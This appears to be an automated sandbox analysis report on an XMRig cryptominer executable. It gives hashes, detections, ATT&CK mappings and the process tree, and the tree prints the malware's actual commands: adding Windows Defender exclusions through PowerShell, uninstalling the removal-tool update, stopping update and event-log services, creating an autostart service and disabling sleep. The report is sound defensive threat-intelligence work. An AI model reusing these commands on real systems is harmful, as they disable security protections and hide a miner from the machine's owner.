xmrig | 57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931c

Analysis

max time kernel
19s
max time network
124s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-10-2024 01:39

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General

Target

57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
Size

5.5MB
MD5

82398be7d7d4907ab4abb7a13a693490
SHA1

512cd224c5bdd04f262b83dd2ff6ee1834b79d7c
SHA256

57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931c
SHA512

2c9be4f5dbf808fc616941fb5da7246fd1fa05f909d92402db50221199efcd39fc954e3feb6016bcb6b0681add758b7b4247620ee0d9d7c4cee8ba256327b97e
SSDEEP

98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/2420-32-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2420-31-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2420-35-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2420-38-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2420-37-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2420-36-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2420-34-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2420-39-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2200	powershell.exe
2304	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
464	Process not Found
1096	lutlgidagtja.exe

Loads dropped DLL 1 IoCs

pid	Process
464	Process not Found

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1084	powercfg.exe
1300	powercfg.exe
1840	powercfg.exe
2364	powercfg.exe
2804	powercfg.exe
2644	powercfg.exe
2704	powercfg.exe
2764	powercfg.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2420-26-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-28-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-29-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-32-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-30-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-31-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-35-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-38-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-37-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-36-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-34-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-27-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2420-39-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2820	sc.exe
2112	sc.exe
2000	sc.exe
2952	sc.exe
2596	sc.exe
2068	sc.exe
2572	sc.exe
2792	sc.exe
2776	sc.exe
2880	sc.exe
2592	sc.exe
1516	sc.exe
2480	sc.exe
700	sc.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d06b2df36b14db01	powershell.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2200	powershell.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
2436	57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
1096	lutlgidagtja.exe
2304	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeShutdownPrivilege	2764	powercfg.exe
Token: SeShutdownPrivilege	2704	powercfg.exe
Token: SeShutdownPrivilege	2644	powercfg.exe
Token: SeShutdownPrivilege	2804	powercfg.exe
Token: SeDebugPrivilege	2304	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 2716	2700	cmd.exe	37
PID 2700 wrote to memory of 2716	2700	cmd.exe	37
PID 2700 wrote to memory of 2716	2700	cmd.exe	37
PID 2576 wrote to memory of 1052	2576	cmd.exe	62
PID 2576 wrote to memory of 1052	2576	cmd.exe	62
PID 2576 wrote to memory of 1052	2576	cmd.exe	62

C:\Users\Admin\AppData\Local\Temp\57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe
"C:\Users\Admin\AppData\Local\Temp\57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2436
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2716
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2820
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2952
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2596
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2880
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2112
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2764
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2704
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "JIOGRCSG"
  2⤵
  - Launches sc.exe
  PID:2592
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:2068
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:2572
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "JIOGRCSG"
  2⤵
  - Launches sc.exe
  PID:1516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931cN.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1052

C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1096
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:2660
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3052
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2792
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2480
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2000
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2776
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:700
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:2364
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:1840
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:1300
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:1084
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2080
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  PID:2420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe

Filesize
5.5MB

MD5
82398be7d7d4907ab4abb7a13a693490

SHA1
512cd224c5bdd04f262b83dd2ff6ee1834b79d7c

SHA256
57a067a4512c70c289b92ba5314149a1059d2fec3ecce61c0312507d4a60931c

SHA512
2c9be4f5dbf808fc616941fb5da7246fd1fa05f909d92402db50221199efcd39fc954e3feb6016bcb6b0681add758b7b4247620ee0d9d7c4cee8ba256327b97e

Download Submit
memory/2080-24-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2080-17-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2080-19-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2080-21-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2080-20-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2080-18-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2200-4-0x000007FEF616E000-0x000007FEF616F000-memory.dmp

Filesize
4KB

Download
memory/2200-8-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/2200-10-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/2200-5-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2200-9-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/2200-6-0x00000000024A0000-0x00000000024A8000-memory.dmp

Filesize
32KB

Download
memory/2200-7-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-16-0x0000000000830000-0x0000000000838000-memory.dmp

Filesize
32KB

Download
memory/2304-15-0x0000000019A70000-0x0000000019D52000-memory.dmp

Filesize
2.9MB

Download
memory/2420-33-0x0000000000140000-0x0000000000160000-memory.dmp

Filesize
128KB

Download
memory/2420-28-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-32-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-30-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-31-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-29-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-35-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-38-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-37-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-36-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-34-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-27-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-26-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2420-39-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download